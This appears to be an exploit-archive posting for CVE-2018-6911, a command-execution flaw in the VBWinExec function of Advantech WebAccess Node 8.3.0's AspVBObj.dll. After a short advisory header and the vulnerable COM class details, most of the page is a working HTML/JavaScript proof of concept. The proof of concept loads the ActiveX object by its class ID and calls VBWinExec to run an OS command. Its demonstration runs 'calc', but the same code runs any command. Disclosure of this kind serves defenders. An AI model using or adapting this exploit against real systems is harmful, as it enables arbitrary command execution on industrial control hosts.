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Advantech WebAccess Node 8.3.0 DLL Hijacking

Advantech WebAccess Node 8.3.0 DLL Hijacking
Posted Feb 12, 2018
Authored by Nassim Asrir

Advantech WebAccess Node version 8.3.0 suffers from an AspVBObj.dll code execution dll hijacking vulnerability.

tags | exploit, code execution
systems | windows
advisories | CVE-2018-6911
MD5 | d399329ffa7fecc776e24fe1316f6ea9

Advantech WebAccess Node 8.3.0 DLL Hijacking

Change Mirror Download
Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution

Discovered by: Nassim Asrir

Contact: wassline@gmail.com / https://www.linkedin.com/in/nassim-asrir-b73a57122/

CVE: CVE-2018-6911

Tested on: IE11 / Win10


Technical Details:
==================

The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.

Vulnerable File: C:\WebAccess\Node\AspVBObj.dll

Vulnerable Function: VBWinExec

Vulnerable Class: Include

Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.

Function VBWinExec (
ByRef command As String
)

Exploit:
========

<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<BODY>
<object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>

<SCRIPT>

function exploit()
{

rce.VBWinExec("calc")


}

</SCRIPT>
<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>
</body>
</HTML>

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